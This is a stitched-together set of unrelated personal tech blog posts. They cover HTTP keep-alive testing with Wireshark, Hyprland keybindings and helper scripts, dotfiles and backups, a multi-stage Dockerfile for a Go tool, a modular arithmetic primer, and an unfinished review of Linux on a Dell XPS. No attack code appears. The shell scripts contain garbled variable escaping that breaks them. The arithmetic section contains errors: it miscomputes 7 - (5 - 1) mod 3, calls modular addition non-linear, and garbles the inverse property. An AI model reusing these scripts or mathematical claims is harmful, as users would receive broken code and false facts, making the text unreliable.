HTTP/1.1 and HTTP/2 performance demonstration.

Keep-Alive: Hands-on Practical Lab

To see how HTTP/1.1 handles network congestion with Keep-Alive header; we need two things.

1. Active HTTP/1.0 and HTTP/1.1 servers to compare the difference

2. Wireshark to capture and analyze traffic

Analyzing Request-Response Behavior in HTTP/1.0

Step 1: Create an html file named index.html and save an image under same directory named ./4k.jpg.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>This is me</h1>
    <img src="./4k.jpg" alt="">
</body>
</html>

Step 2: Simplest way to start an HTTP/1.0 server is using Python.

python -m http.server 8000 --protocol=http/1.0

This command will spin up a simple http server on port 8000 with specified version in this case HTTP/1.0.

Step 3: Verify server is responding in HTTP/1.0.

curl --head http://0.0.0.0:8000/

http/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.12.3

Step 4: Spin up Wireshark and start capturing traffic on localhost interface Loopback: lo. Then visit the website.

I redacted the unnecessary info but in boxes as you see. Their is a TCP handshake before each request. Now, In next section we will see how does HTTP/1.1 react to this situation.

Analyzing Request-Response Behavior in HTTP/1.1

Step 1: Let's restart http server again on same directory with same code but on HTTP/1.1 version.

python -m http.server 8000 --protocol=http/1.1

Step 2: Verify server is responding in HTTP/1.1.

curl --head http://0.0.0.0:8000/

http/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.12.3

Step 4: Spin up Wireshark and start capturing traffic on localhost interface Loopback: lo. Then visit the website.

As you can see their was only one TCP handshake for both GET requests. And, In bottom-left you can also spot Connection: keep-alive in GET request headers. Now you know the difference between HTTP/1.0 and HTTP/1.1. You can also test it by yourself; you don't have to trust on theories anymore.

I hope you found this help. In part-2 of this blog post. I'll go more into hacking side where we will explore, "How hacker hack youtube channels?" or "Why cookies were made? to spy on people?" then we might see a practical demonstration too as I always try to do.

Thanks for reading. I hope to see you in part-2.

Screen Lock

Install hyprlock

sudo pacman -S hyprlock

Edit hyprland.conf under ~/.config/hypr/hyprland.conf, to lock screen on super + l.

# Mute and lock the system
bind = $mainMod, L, exec, pactl set-sink-mute @DEFAULT_SINK@ 1 && hyprlock

You can learn more about hyprlock configuration at Hyprland Wiki.

Screen Lock on Timeout

Install hypridle

sudo pacman -S hypridle

Create hypridle.conf under ~/.config/hypr/hypridle.conf, to configure idle state.

general {
    lock_cmd = pidof hyprlock || hyprlock
    before_sleep_cmd = loginctl lock-session    # lock before suspend
    after_sleep_cmd = hyprctl dispatch dpms on
}

# Lock the screen (10 min)
listener {
    timeout = 600
    on-timeout = loginctl lock-session
}

# Turn off screen (15 min)
listener {
    timeout = 900
    on-timeout = hyprctl dispatch dpms off
    on-resume = hyprctl dispatch dpms on
}

# Suspend the system (30 min)
listener {
    timeout = 1800
    on-timeout = systemctl suspend
}

• lock_cmd: only execute hyprlock if not running, to avoid multiple instance of hyprlock.

• Lock screen after 10 minutes without turning off the screen.

• Turn off the screen after 15 minutes and turn on when activity is detected.

• Suspend the system after 30 minutes to save power.

Edit ~/.config/hypr/hyprland.conf to autostart hypridle once user login.

exec-once = hypridle

You can learn more about hypridle configuration at Hyprland Wiki.

Brightness Adjustment

Install

• brightnessctl for brightness adjustments, required.

sudo pacman -S bc brightnessctl

Edit ~/.config/hypr/hyprland.conf to control brightness via keyboard function keys.

bind = , code:232, exec, brightnessctl set 5%-
bind = , code:233, exec, brightnessctl set +5%

Volume Adjustment

Install

• playerctl media player controller for wide range of application. Here, required to pause audio/video.

Edit ~/.config/hypr/hyprland.conf to control volume levels via keyboard function keys.

bindl = , XF86AudioPlay, exec, playerctl play-pause                                         # Pause audio/video
bindl = , XF86AudioMute, exec, wpctl set-mute @DEFAULT_AUDIO_SINK@ toggle                   # Mute audio
bindel = , XF86AudioLowerVolume, exec, wpctl set-volume @DEFAULT_AUDIO_SINK@ 10%-           # Decrease volume
bindel = , XF86AudioRaiseVolume, exec, wpctl set-volume -l 1.5 @DEFAULT_AUDIO_SINK@ 10%+    # Increase volume upto 150

Take Screenshots

For screenshots I use my own script Hyprshot available on GitHub.

Install

• slurp to select a region for screenshot.

• grim a screenshot utility for Wayland.

• satty to edit/annotate screenshots.

• wl-clipboard to copy to clipboard.

sudo pacman -S slurp grim satty wl-clipboard

Create hyprshot.sh script under ~/.local/bin/hyprshot.sh

#!/usr/bin/env bash
set -euo pipefail
#
# Notes:
#   - Press Esc to cancel selection.
#   - Output directory is fixed at: ~/Pictures/Screenshots 

SCREENSHOT_DIR="$HOME/Pictures/Screenshots"
DATE_FMT="%Y-%m-%d_%H-%M-%S"
FILE_PREFIX="screenshot"
OUTFILE="\(SCREENSHOT_DIR/\){FILE_PREFIX}-\((date +"\)DATE_FMT").png"

# Checking and installing dependencies
dependencies=("slurp" "grim" "satty" "wl-copy")
for dep in "${dependencies[@]}"; do
    command -v "\(dep" &> /dev/null || { echo "\)dep not found, please install it."; exit 1; }
done

# Ensure screenshot directory exists
mkdir -p "$SCREENSHOT_DIR"

# Kill slurp if already running
pkill -x slurp && exit 0

# Capture screenshot
screenshot="$(slurp || true)"

# Cancel if user esc
[ -z "$screenshot" ] && exit 0

# Take screenshot -> open in satty -> save file + copy to clipboard
grim -g "$screenshot" - | satty --filename - \
    --output-filename "$OUTFILE" \
    --early-exit \
    --actions-on-enter save-to-clipboard \
    --copy-command 'wl-copy'

Edit ~/.config/hypr/hyprland.conf to add keybinding to take screenshot on super + s.

bind = $mainMod, S, exec, ~/.local/bin/hyprshot.sh

You can also visit my GitHub to get the up-to date copy of hyprshot.

Change Wallpaper from Command-line

Install

• swww to change wallpaper.

sudo pacman -S swww

Edit ~/.config/hypr/hyprland.conf to autostart swww-daemon once user login.

exec-once = swww-daemon

To change wallpaper run:

swww img <wallpaper_file.png>

To change wallpaper with smooth transition run:

swww img --transition-type random --transition-fps 60 <wallpaper_file.png>

Color Picker

Install

• hyprpicker, color picker

• wl-clipboard to copy hex code to clipboard.

Edit ~/.config/hypr/hyprland.conf to add keybinding to launch color picker on super + p.

bind = $mainMod, P, exec, hyprpicker --autocopy

That’s it.

Script to color picker in hex, rgb, hsl, hsv, cmyk format with selection/dmenu mode.

Save it under ~/.local/bin/ as hyprpicker.sh

#!/usr/bin/env bash

# Available formats
FORMATS="hex\nrgb\nhsl\nhsv\ncmyk"

# Show wofi menu
FORMAT=\((echo -e "\)FORMATS" | rofi -dmenu -p "Format")

# Exit if nothing selected
[ -z "$FORMAT" ] && exit 0

# Run hyprpicker with selected format
hyprpicker -a -f "$FORMAT"

Edit ~/.config/hypr/hyprland.conf to add keybinding to launch color picker on super + shift + p.

bind = $mainMod SHIFT, P, exec, bash ~/.local/bin/hyprpicker.sh

Quick and Easy

Screen Sharing

sudo pacman -S xdg-desktop-portal-hyprland

Turn Off Laptop Display on Lid Close

Edit ~/.config/hypr/hyprland.conf.

bindl = , switch:on:Lid Switch, exec, hyprctl dispatch dpms off
bindl = , switch:off:Lid Switch, exec, hyprctl dispatch dpms on

GUI Authentication

polkit-gnome is a polkit authentication daemon. It is required for GUI applications to request elevated privileges.

sudo pacman -S polkit-gnome

Edit ~/.config/hypr/hyprland.conf to autostart polkit-gnome once user login.

exec-once = /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1

Further Reading

• Fix Missing Directories & External Drives in Thunar File Manager on Hyprland

Dotfiles

Installing a new OS is a breeze, but getting everything back to your preferred setup? That’s where time turns into a black hole. Spending hours, days, or even weeks configuring your system just to get everything back to where it was. I'm talking to you, window manager guys.

Dotfiles keeps your configuration settings intact, already tailored your .zshrc or .bashrc with those handy aliases. why start from scratch every time? With dotfiles, you simply copy and paste your saved settings and get back to work.

1. Create a Git Repository: This will be your dotfile storage vault.

2. Copy All the Necessary Files: Move your important config files into the repository.

3. Commit and Push to GitHub: To ensure your setup is safe, synced, and accessible from anywhere.

But what files should you actually commit? And why bother pushing to GitHub? Let’s dive into that next!

What files to commit?

It's a tough question to answer because everyone’s setup is as unique and configured differently. But here’s a cheat sheet: check out your $HOME directory and think about the files you’re constantly tweaking. Here's some common once:

.bashrc
.bash_profile
.profile
.zshrc
.vimrc
.gitconfig
.gitignore
.ssh/
.config/

Why push to GitHub?

It’s all about convenience, having your dotfiles on GitHub makes it easy to access them during a new installation, so you’re not scrambling to share or find files manually. Besides the fact that your GitHub profile will look cooler with those green squares 😉. And here’s a little pro tip: when committing, keep your files in the same directory structure as they are on your system as shown below. It’ll save you from the classic “where did I put that file?” conundrum.

Managing Private Dotfiles

It’s a pretty terrible idea to push sensitive files like .ssh, .gnupg, or API tokens hidden in your .bashrc to GitHub. It’s could be a disaster waiting to happen. Here are a few tricks:

• Keep Them Offline: Store your secrets in a secure notes app like Obsidian.

• Encrypt and Upload: Use something like 7z, KeePassXC or VeraCrypt to encrypt before pushing them to GitHub.

• Personally, I keep all my secret stuff offline. I’m also constantly double-checking my dotfiles to ensure no sensitive info is getting leaked.

Now, you might’ve heard of GNU Stow, a nifty tool for managing dotfiles. It’s pretty cool, but here’s the catch: if not used wisely it can expose your secrets. Sure, there are workarounds, but they’re hit or miss. So, I prefer to keep things a bit more low-key.

Installation Script

So, you’ve just installed your OS and now you’re stuck with chores, setting up everything—installing apps, creating users, enabling firewalls, and so on. And trying to remember every single piece of software you need? Forget it. That’s where installation scripts come in!

An installation script is basically your to-do list for everything that needs to be set up before you can truly start using your computer. These scripts are totally personal; some folks use them for basic stuff like disk partitions, while others tackle everything that needs to be done in post-installation. That’s why some people call them setup scripts.

Here’s how I roll with my bash setup script:

• Install packages from Arch repositories, Flatpak, Snap, and GitHub

• Sets ZSH as the default shell

• Adds the Blackarch Repository for those sweet hacking tools

• Enables SystemD Services

• Downloads and sets up dotfiles

If you’re curious, check out my Installation Script: https://github.com/FlareXes/arch-hackset

Backup

Let's talk about confidence, nothing beats the peace of mind that comes from knowing you can recover your system, even if it’s been fried in oil. Everyone’s got their own backup strategy, but let me walk you through mine. The golden rule? “I Should Be Able To Retrieve My System Data Even If It’s Fried in Oil.” But let’s start with the basics.

Situations

What if your system crashes due to a misconfiguration or an OS update?

• Timeshift is your best friend. It takes snapshots of your system’s current state, so if something goes wrong, you can roll back to a previous state. It's similar to time machine on MacOS.

• Timeshift offers two methods: BTRFS and RSYNC. Btrfs is incredibly fast but only works on Btrfs file systems, and if you’re using dual drives, backups must be on the same drive. That means if drive fails, your backups are toasts.

• Rsync is slower and takes more time to back up, but it works with most Linux file systems and allows backups to a different drive. It’s a bit slower but more versatile.

What if your hard drive crashes?

• Use RSYNC, BORG, or the UI version of Borg, Pika Backup, to backup to a second drive.

Here’s a useful RSYNC command where exclude.txt specifies files to skip. This method copies files but doesn’t create snapshots like Timeshift, so reverting to the exact previous state is off the table.

rsync -azh --info=PROGRESS2 --delete --exclude-from="exclude.txt" "$HOME/" "/media/Backup/$(date +%F)/"

What if your system gets fried in oil?

• Easy-peasy, backup to a different machine, cloud storage, or an external drive using RSYNC, BORG, or RClone.

What if there’s a nuclear attack?

• Are you alive?.... If so, stay that way. Comment below, and I’ll give you the next steps.

• Serious FlareXes From the Future: If your threat model includes apocalyptic scenarios, it’s time to ditch this casual blog post and look into serious disaster recovery plans from places like Synology, AWS and similar services.

Backup Schedule

Here’s a quick backup guide to keep your data safe, tweak according to your needs.

Wrapping It Up

There you have it! By implementing these practices, you’ll not only keep your Linux setup experience smooth and consistent but it'll also give you the peace of mind.

By managing dotfiles, you ensure that your environment is always just the way you like it, saving time and frustration. Installation scripts will handle the boring, repetitive setup tasks, so you can spend less time configuring and more time creating. And with a solid backup strategy, you’ll be ready for anything, from minor mishaps to major disasters.

So, Hope you liked it. I’ll see you later—till then, goodbye! 👋

In this guide, I’ll walk you through the process of dockerizing GitBack, a handy command-line tool for backing up your GitHub repositories, gists, and wikis. First things first: clone the project from https://github.com/flarexes/gitback.git. Once that’s done, make sure to get rid of any existing Dockerfile—we’re going to create a fresh one from scratch.

Prerequisites

• Docker Installed

• Familiarity with Docker

First Stage: Build the GoLang Project

We’ll start by creating a Dockerfile under the root directory of the project. This section will define the steps necessary to build your Go application inside the container.

# Use the official Go image as a base with the required version
FROM golang:1.23 AS builder

# Set the working directory inside the container
WORKDIR /app

# Copy the entire project into the working directory
COPY . .

# Download dependencies
RUN go mod download

# Build the Go application
RUN CGO_ENABLED=0 GOOS=linux go build -o gitback main.go

• AS builder: Naming this build stage as "builder" so Docker knows where to look when we want to refer to it later.

• CGO_ENABLED=0: Disables the use of C libraries, resulting in a statically linked binary that’s portable and self-contained.

• GOOS=linux: Instruct the Go compiler to generate a binary that is compatible with Linux.

Second Stage: Ship the Compiled Binary

After we've built the Go binary, the next step is to create a efficient base image that will run the compiled binary. We’ll keep it simple by copying only what we need from builder stage.

# Start a new stage from scratch
FROM alpine:3.17

# Install git, a dependency for GitBack to clone resources
RUN apk add --no-cache git

# Set the working directory for the final image
WORKDIR /root/

# Copy the binary from the builder stage
COPY --from=builder /app/gitback .

# Command to run the executable
ENTRYPOINT ["/root/gitback"]

• COPY --from=builder: This is where the magic happens. We pull the compiled binary from the previous "builder" stage and drop it into our Alpine image. This is where we achieve the serious size reduction—shrinking the image by up to 100 times!

Final Stage: Combine First & Second Stage to Build the Final Production Image

# Use the official Go image as a base for building the Go application
FROM golang:1.23 AS builder

# Set the working directory inside the container
WORKDIR /app

# Copy only the Go modules to leverage caching in Docker
COPY go.mod go.sum ./

# Download dependencies
RUN go mod download

# Copy the rest of the project
COPY . .

# Build the Go application for a Linux OS with no CGo dependency
RUN CGO_ENABLED=0 GOOS=linux go build -o gitback main.go

# Start a new stage from scratch to reduce image size
FROM alpine:3.17

# Install git and other required dependencies
RUN apk add --no-cache git

# Set the working directory for the final image
WORKDIR /root/

# Copy the Go binary from the builder stage
COPY --from=builder /app/gitback .

# Define the entry point to run the binary
ENTRYPOINT ["/root/gitback"]

Build the Image

To create the Docker image, run:

sudo docker build -t gitback:latest .

As you can see in the above picture, the final gitback image is significantly smaller than the original Go image. If you haven't pulled the golang:1.23 image explicitly, you won't see it listed in the images after the build. Instead, you'll only see the gitback:latest image as the final result.

To verify that everything is functioning correctly, you can run:

sudo docker run --rm -it gitback:latest --help

This should display the help output for GitBack, confirming that the setup was successful.

Visual Walkthrough of the Process

Modular Arithmetic is about Integers. Where things revolves around modules % and congruence ≅. Congruence means two different entities having similar properties but they aren't same. It's important to note in cryptography their is no such thing like equality \= mostly everything is congruence ≅, e.g. Equivalent Class.

Why Should I Study Modular Arithmetic?

1. It's the foundation of almost every Cryptographic algorithms.

2. It is used to enhance the security of cryptographic systems, e.g. Equivalent Class.

3. Nothing is infinite in cryptography so to make things finite or in range we use Modular Arithmetic, e.g. Rotation Cipher & Finite Fields.

4. Many cryptography algorithms and even programming languages uses Modular Arithmetic to perform calculations more efficiently.

5. You Have To Learn, Their is no way around:

   • Security

   • Optimization

   • Mathematics

   • Marks: Actually No

   • Grades: Definitely No

   • Show off, you know math

   • etc, etc, etc

Let's Get The Basics Down

If you're completely new to mathematics (unlike me) then you might be wondering what's the meaning of congruence or modular arithmetic? So, let's take them one-by-one.

Modular Arithmetic

Arithmetic

Arithmetic is a branch of mathematics that deals with the study of numbers and the basic operations performed on them, such as addition, subtraction, multiplication, and division. Nothing Fancy.

Modulo

The modulo operation (often denoted as "mod" or "%") is just a remainder you get when one integer is divided by another.

For example:

• 7 % 3 equals 1, because when 7 is divided by 3, the remainder is 1.

So, Modulo + Arithmetic = Modular Arithmetic

Modular arithmetic is a system or mathematical framework or set of rules of arithmetic for integers where numbers "wrap around" upon reaching a certain value called the modulus. Ceaser Cipher heavy reply on this concept.

In modular arithmetic, instead of working with all integers, we work with a set of integers from 0 to n−1 (often denoted as {0, 1, 2, …, n−1}).

General Equation of Modular Arithmetic -> a = b (mod n), where b will always be less than n hence meaning of wrap around in definition.

e.g. Caesar Cipher /w a = b (mod n)

The Caesar cipher can be represented in modular arithmetic using the following general equation:

E(x) = (x + k) mod n

Where:

• E(x) represents the encryption of the plaintext letter x.

• k is the key or the shift value.

• n is the size of the alphabet (for example, 26 for the English alphabet).

• mod denotes the modulo operation, which ensures that the result stays within the range of the alphabet.

Modular arithmetic has many applications in various fields including cryptography, computer science, and number theory. It's used extensively in encryption algorithms, hash functions, and in solving problems related to periodic phenomena like cycles and repetitions.

Congruence

As mentioned earlier, Congruence is a mathematical concept that refers to the equality of two geometric figures or shapes in terms of size and shape. Two figures are considered congruent if they have the same shape and size, meaning that all corresponding angles are equal, and all corresponding sides are equal in length.

But In modular arithmetic, Congruence refers to the concept of two integers having the same remainder when divided by a specified modulus. Two integers a and b are said to be congruent modulo m if they leave the same remainder when divided by m.

For example, in modulo 5 arithmetic:

• 14 ≅ 4 (mod 5) because both 14 and 4 leave a remainder of 4 when divided by 5.

• 23 ≅ 3 (mod 5) because both 23 and 3 leave a remainder of 3 when divided by 5.

How to solve modular arithmetic equations?

Modular Arithmetic: a = b (mod n)

• Lets see for the above examples. In first equation we have: 14 = 4 (mod 5).

  1. Divide 14 by 5: 14 ÷ 5 = 2 with a remainder of 4.

  2. Divide 4 by 5: 4 ÷ 5 = 0 with a remainder of 4.

Since both 14 and 4 leave a remainder of 4 when divided by 5, we can conclude that 14 ≅ 4 (mod 5).

• Now let's see something which isn't ≅ (congruent) like: 9 = 2 (mod 4).

  1. Divide 9 by 4: 9 ÷ 4 = 2 with a remainder of 1.

  2. Divide 2 by 4: 2 ÷ 4 = 0 with a remainder of 2.

Since the remainders are different when 9 and 2 are divided by 4, they are not congruent to modulo 4. Therefore, 9 !≅ 2 (mod 4).

So now by you might have got an idea of "what is and isn't congruent?"

\= vs ≅

One mistake I deliberately made in Modular Arithmetic section was using \= in modular arithmetic. If I ask which equation is correct 14 ≅ 4 (mod 5) or 14 = 4 (mod 5). Answer is both, lets understand it first.

In mathematics, both equations are true but not in cryptography. I mentioned it before in cryptography their is no such thing called \= majority is ≅. And, I did it because by then you didn't know the meaning of congruence. So, From mathematical standpoint equation used in Modular Arithmetic section is true but from cryptography standpoint it's not.

Furthermore, you might be thinking then why did I use \= in Congruence section? Here we did know what does it mean to have congruence right? Hmm... Yes, But if you notice I only used \= before the solution of equation. How can you tell if a equation is or isn't equal without solving it. So, I started at \= like 14 = 4 (mod 5) and concluded with ≅ like 14 ≅ 4 (mod 5) after solving the equation.

Other way if you don't want to use \= you can go for ?≅, which is this equation is congruent? I'm not saying, I'm asking.

For example:

• 14 ?≅ 4 (mod 5), yes 14 ≅ 4 (mod 5)

Basic Operations & Their Significance In Modular Arithmetic

1. Modular Addition

In modular arithmetic, addition involves adding two numbers and then taking the remainder when divided by the modulus. Often denoted as a + b mod m.

• Let's consider an example: (7 + 5) mod  3

  • Here, 7 + 5 = 12, and when divided by 3, the remainder is 0. Therefore, (7 + 5) mod  3 = 0.

• Let's consider one more example but this time in cryptographic way: (5 + 9) ≅ ? (mod  7)

  1. Add the two numbers: 5 + 9 = 14.

  2. Divide the result by the modulus: 14 ÷ 7 = 2 with a remainder of 0.

  3. Result, 5 + 9 ≅ 0 (mod 7).

     • This also satisfies our previous statement about congruency: Two integers a and b are said to be congruent modulo m if they leave the same remainder when divided by m.

Properties

• Commutative Property: a + b ≅ b + a (mod m) This property states that the order of addition doesn't matter in modular arithmetic. The sum of a and b modulo m is the same as the sum of b and a modulo m. This can also be expressed as: a ≅ b (mod m) ⟹ b ≅ a (mod m).

• Associative Property: (a +b) + c ≅ a + (b + c) (mod m) This property states that the grouping of numbers being added doesn't affect the result in modular arithmetic. The sum of a, b, and c modulo m is the same regardless of how the addition is grouped.

• Closed under Addition: This property states that if you add two numbers within this modulus, the result will still be within that modulus. For example:

  • (2 + 3) mod 5 = 0

  • (4 + 4) mod  5 = 3

In both cases, the result is within the range of 0 to 4, which is the modulus 5.

Significance

• Non-linearity: Modular addition is a non-linear operation, which is important in cryptographic algorithms to prevent various attacks.

• Compatibility with Modular Arithmetic: Modular addition fits well with modular arithmetic, which is often used in cryptography due to its computational properties and the ability to work with finite sets of numbers.

2. Modular Subtraction

In modular arithmetic, subtraction involves subtracting one number from another and then taking the remainder when divided by the modulus. It's often denoted as (a - b) mod m.

• Let's consider an example: (7 - 5) mod  3 Here, 7 - 5 = 2, and when divided by 3, the remainder is 2. Therefore, (7 - 5) mod  3 = 2.

• Let's delve into a cryptographic example: (9 - 5) ≅ ? (mod  7)

  1. Subtract the second number from the first: 9 - 5 = 4.

  2. Take the result modulo the modulus: 4 ÷ 7 leaves us with a remainder of 4.

  3. Thus, 9 - 5 ≅ 4 (mod 7).

Properties

• Non-commutativity: Subtraction in modular arithmetic is not commutative. In other words, the order of subtraction does matter. For instance, 7 - 5 ≅ 2 (mod 3), but 5 - 7 ≅ 1 (mod 3).

• Non-associativity: Similar to non-commutativity, subtraction in modular arithmetic is also non-associative. Grouping matters when subtracting multiple numbers. For example, (7 - 5) - 1 ≅ 1 (mod 3), but 7 - (5 - 1) ≅ 2 (mod 3).

• Closed under Subtraction: Just like addition, subtraction within a modulus maintains closure. For example:

  • (7 - 5) mod 3 = 2

  • (5 - 7) mod 3 = 1

Both results remain within the range of 0 to 2, which is the modulus 3.

Significance

• Non-linearity: Modular subtraction, akin to modular addition, is a non-linear operation. This property is crucial in cryptographic schemes to thwart various attacks, similar to its additive counterpart.

• Compatibility with Modular Arithmetic: Subtraction fits seamlessly within modular arithmetic frameworks, making it suitable for cryptographic algorithms where modular arithmetic is prevalent due to its computational efficiency and finite number set operations.

3. Modular Multiplication

In modular arithmetic, multiplication involves multiplying two numbers and then taking the remainder when divided by the modulus. It's often denoted as (a * b) mod m.

• Let's illustrate with an example: (7 5) mod  3 Here, 7 5 = 35, and when divided by 3, the remainder is 2. Therefore, (7 \ 5) mod  3 = 2*.

• Now, let's explore a cryptographic scenario: (5 \ 9) ≅ ? (mod  7)*

  1. Multiply the two numbers: 5 \ 9 = 45*.

  2. Divide the result by the modulus: 45 ÷ 7 leaves us with a remainder of 3.

  3. Thus, 5 * 9 ≅ 3 (mod 7).

Properties

• Commutative Property: Multiplication in modular arithmetic follows commutativity. The order of multiplication does not affect the result modulo the modulus. For example, a b ≅ b a (mod m).

• Associative Property: Similarly, multiplication in modular arithmetic is associative. The grouping of numbers being multiplied does not impact the result modulo the modulus. For example, (a b) c ≅ a (b c) (mod m).

• Closed under Multiplication: Multiplying two numbers within a modulus maintains closure. For instance:

  • (2 \ 3) mod 5 = 1*

  • (4 \ 4) mod  5 = 1*

Both results fall within the range of 0 to 4, which is the modulus 5.

Significance

• Non-linearity: Similar to modular addition and subtraction, modular multiplication is a non-linear operation. This characteristic is essential in cryptographic algorithms to enhance security against various attacks.

• Compatibility with Modular Arithmetic: Modular multiplication seamlessly integrates with modular arithmetic, which is widely utilized in cryptography due to its computational efficiency and the ability to work with finite sets of numbers.

4. Modular Inverse

In modular arithmetic, the modular inverse of a number a with respect to a modulus m is another number b such that (a \ b) mod m = 1. It's denoted as a⁻¹ (mod m) or 1/a (mod m)*.

• Let's illustrate with an example: Find the modular inverse of 5 modulo 11. We need to find a number b such that (5 \ b) mod 11 = 1*.

  • By trying out various values of b, we find that 9 is the modular inverse of 5 modulo 11, because (5 \ 9) mod 11 = 45 mod 11 = 1*.

• Now, let's explore a cryptographic scenario: Find the modular inverse of 7 modulo 13. We seek a number b such that (7 \ b) mod 13 = 1*.

  • By testing different values, we discover that 2 is the modular inverse of 7 modulo 13, since (7 \ 2) mod 13 = 14 mod 13 = 1*.

Properties

• Existence: The modular inverse exists for a number a modulo m if and only if a and m are coprime (i.e., their greatest common divisor is 1).

• Uniqueness: The modular inverse of a number a modulo m is unique within the range [0, m-1].

• Multiplicative Property: If b is the modular inverse of a modulo m, then the modular inverse of a modulo m is also the modular inverse of b modulo m.

Significance

• Cryptographic Applications: Modular inverses play a crucial role in cryptographic algorithms, such as RSA encryption, where they are used to calculate the private key from the public key.

• Efficient Computations: Modular inverses are essential for various mathematical computations, particularly in modular arithmetic-based algorithms, due to their ability to efficiently compute divisions within a finite field.

5. Modular Exponentiation

In modular arithmetic, modular exponentiation involves raising a base to an exponent and then taking the remainder when divided by a modulus. It's denoted as (a^b) mod m.

• Let's illustrate with an example: Find (2 ^ 5) mod 7. Here, 2 ^ 5 = 32, and when divided by 7, the remainder is 4. Therefore, (2 ^ 5) mod 7 = 4.

• Now, let's explore a cryptographic scenario: Compute (3 ^ 10) ≅ ? (mod  13).

  1. Calculate 3 ^ 10: 3 ^ 10 = 59049.

  2. Divide the result by the modulus: 59049 ÷ 13 leaves us with a remainder of 3.

  3. Thus, 3 ^ 10 ≅ 3 (mod 13).

Properties

• Efficient Computation: Modular exponentiation can be efficiently computed using algorithms like exponentiation by squaring or the repeated squaring method, particularly useful for large exponents.

• Distributive Property: Modular exponentiation follows distributive over multiplication. That is, (a ^ b \ a ^ c) mod m = (a ^ (b + c)) mod m*.

• Closed under Exponentiation: Raising a number to a power within a modulus maintains closure. For example:

  • (2 ^ 3) mod 5 = 3

  • (4 ^ 2) mod  5 = 1

Both results fall within the range of 0 to 4, which is the modulus 5.

Significance

• Cryptographic Protocols: Modular exponentiation is extensively used in cryptographic protocols, such as RSA encryption and Diffie-Hellman key exchange, for secure communication and data encryption.

• Efficient Key Generation: Modular exponentiation plays a crucial role in generating and manipulating cryptographic keys efficiently, contributing to the security and scalability of cryptographic systems.

Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break.

- Bruce Schneier

In this blog, I'll walk you through a list of cons and a few pros (who cares?) of using the Dell XPS as a daily Linux driver. Yep, Linux.

Linux users, I'll start with the software aspects and then cover the hardware in the second half. And don't expect specs review.

Windows users, you won't regret buying an XPS as long as you're cool with the fact that gaming laptops with the same specs cost half as much. Yeah, you read that right—half. That’s it for you, Windows users.

Mac users? Guys, Just switch to anything that is not Apple. If you’re in tech, consider yourself a tech nerd, or even remotely associate with IT, just make the switch. Trust me on this one (don't, people say he is biased).

What is Dell XPS?

Dell XPS is premium series of laptop has been around since 1993. These machines are powerhouses in both performance and looks. Best OLED screen, smooth trackpad, and speakers that will blow your mind. If you consider "Apple MacBook Pro" the best laptop out there, multiply that by ten, and you will get a Dell XPS. ChatGPT calls it "it’s the crème de la crème of laptops" (what?).

$$MacBook \times 10 = Dell \ XPS$$

Alright, Let’s get to the real talk, that was a joke.

Software: Linux on XPS

Terrible experience. If you’re new to Linux, consider this a Total Disaster 😄. And it's not just the XPS; any machine with a 4K display will give you a hard time. Tighten your seat belts and brace for the crash (fanboy moments over).

Speakers won't work

Haha 🤣 nice start. Linux doesn't seem to have audio drivers for the XPS series. Speakers will sound too low, low enough that won't be able to listen in library noise.

But let’s take a moment to appreciate those XPS speakers. They are too good to be true for a laptop. I tried them out on Windows while downloading an Arch ISO 😄.

Solution:

Linux is powerful. There's a workaround for these pesky audio issues. You can boost those speakers up to 200% or more. I've got mine maxed out at 150% on my system. But don't expect same sound quality (it's bad, but workable).

I've configured my volume controls with keybindings in Hyprland.

Note: On arch full system upgrade can resolve this issue, but the audio quality still doesn't match that of Windows.

# Increase Volume
wpctl set-volume -l 1.5 @DEFAULT_AUDIO_SINK@ 10%+

# Decrease Volume
wpctl set-volume @DEFAULT_AUDIO_SINK@ 10%-

Life Savior: GNOME and KDE Desktop Environments

If you’re rolling with desktop environments like GNOME or KDE, you’re in the clear for the most part. Of course, the speakers will still be funky, but nothing too major.
So, if you’re rocking a mainstream Linux distro like Ubuntu, Fedora, or Manjaro, you’re in the clear because these distribution ships with GNOME or KDE right out of the box. That means the majority of Linux users are cruising just fine, except "I use Arch by the way" pros and bros, of course.

But problems become exponential if you’re dabbling in XFCE, Mate, or dare I say it, window managers like DWM, BSPWM, or Openbox. But before we dive into those problems let’s first understand why these issues exist in the first place for our pros and bros.

The Root Cause: Why Do We Face These Issues?

These issues are not exclusive to Dell XPS. Every Linux machine rocking a 4K display is in the same boat. Linux’s widely adopted display server is Xorg, an X11 protocol implementation. But X11 was never designed to work with 4K displays.

To redeem X11 problems (4k display & security issues) a new protocol was introduced Wayland in 2008. Wayland is considered to be the future of Linux's display server and I agree with the statement. But not everything is sunshine and rainbows with Wayland either. It has got its fair share of issues, namely lack of widespread adoption.

Curious about the security side of things? Check out my LinkedIn post about the X11 vulnerability and Why Most Linux Distributions Are Insecure?

Wayland: The Hidden Gem

"Wayland is not ready!", that's what you will hear from few seasoned Linux users. I don't agree with this statement completely. Wayland is a game-changer. It has tackled problems that Xorg could only dream of solving. Thanks to Wayland, Linux now supports 4K displays without inherent security vulnerabilities etc.

But, That's doesn't mean it's ready for new Linux users, it's not. Here’s the deal: Any software built on Electron is going to look teared on Wayland, including Chrome, Brave, Discord, VSCode. And don’t even get me started on JetBrains IDE or alike Java applications because many applications are not supported by wayland.

Btw, many Electron-based apps can be run nicely with Wayland. Just run them with --enable-features=UseOzonePlatform --ozone-platform=wayland at the end of your launch command. But, Applications are not based on electron and doesn't support wayland will still look teared.

Why Only GNOME & KDE Works?

GNOME and KDE are massive projects in Linux community with rapid development cycles. Ever wondered why GNOME and KDE seem to have all the answers? Because if you rocking them, you won't face many issues that we are going to discuss later in this blog post.

Here’s the secret sauce: GNOME and KDE use hybrid approach. They seamlessly blend Wayland and X11 to give you the best of both worlds. So, if you’re rocking a 4K display, Wayland takes the wheel. But if an app isn’t ready for the Wayland it will fallback to X11 implementation. This hybrid project is called Xwayland, a X Clients under Wayland.

Wayland on Dell XPS (4K Display)

Screen Sharing: Nightmare

Screen sharing works on wayland. But you may find yourself attempting to share your screen multiple times. Sometimes it sticks in one go, sometimes it doesn’t.

Estimated Try & Hits: 1-10

Mic Won't Work - Sometimes

